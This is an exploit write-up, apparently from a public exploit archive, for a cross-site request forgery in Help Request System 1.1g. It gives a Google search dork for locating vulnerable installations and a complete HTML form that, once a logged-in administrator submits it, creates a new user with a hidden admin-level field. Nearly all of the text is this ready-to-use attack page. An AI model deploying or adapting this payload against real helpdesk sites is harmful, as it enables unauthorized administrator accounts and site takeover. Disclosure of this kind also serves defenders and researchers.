26 lines
No EOL
936 B
Text
26 lines
No EOL
936 B
Text
# Exploit Title: Help Request System 1.1g XSRF (add admin)
|
|
# Date: 08-23-2011
|
|
# Google Dork: "powered by freehelpdesk.org"
|
|
# Author: G13
|
|
# Software link: http://freehelpdesk.org/
|
|
# Version: 1.1g
|
|
|
|
<html>
|
|
<body>
|
|
<form id="edit" method="post"
|
|
action="http://localhost/request/index.php?sub=users&action=store&type=add"
|
|
enctype="">
|
|
Name: <input class="FormItemTextbox" type="text" name="user_name"
|
|
size="35" maxlength="" value=""><br>
|
|
Login name:<input class="FormItemTextbox" type="text" name="user_login"
|
|
size="20" maxlength="" value=""><br>
|
|
Pass:<input class="FormItemTextbox" type="password" id="user_password"
|
|
name="user_password" size="20" value=""><br>
|
|
Pass confirm:<input class="FormItemTextbox" type="password"
|
|
id="user_password_confirm" name="user_password_confirm" size="20"
|
|
value=""><br>
|
|
<input type="hidden" name="user_level" value="0">
|
|
<input class="btn" type="submit" value="Submit" id="submit"
|
|
name="submit">
|
|
</form>
|
|
</body> |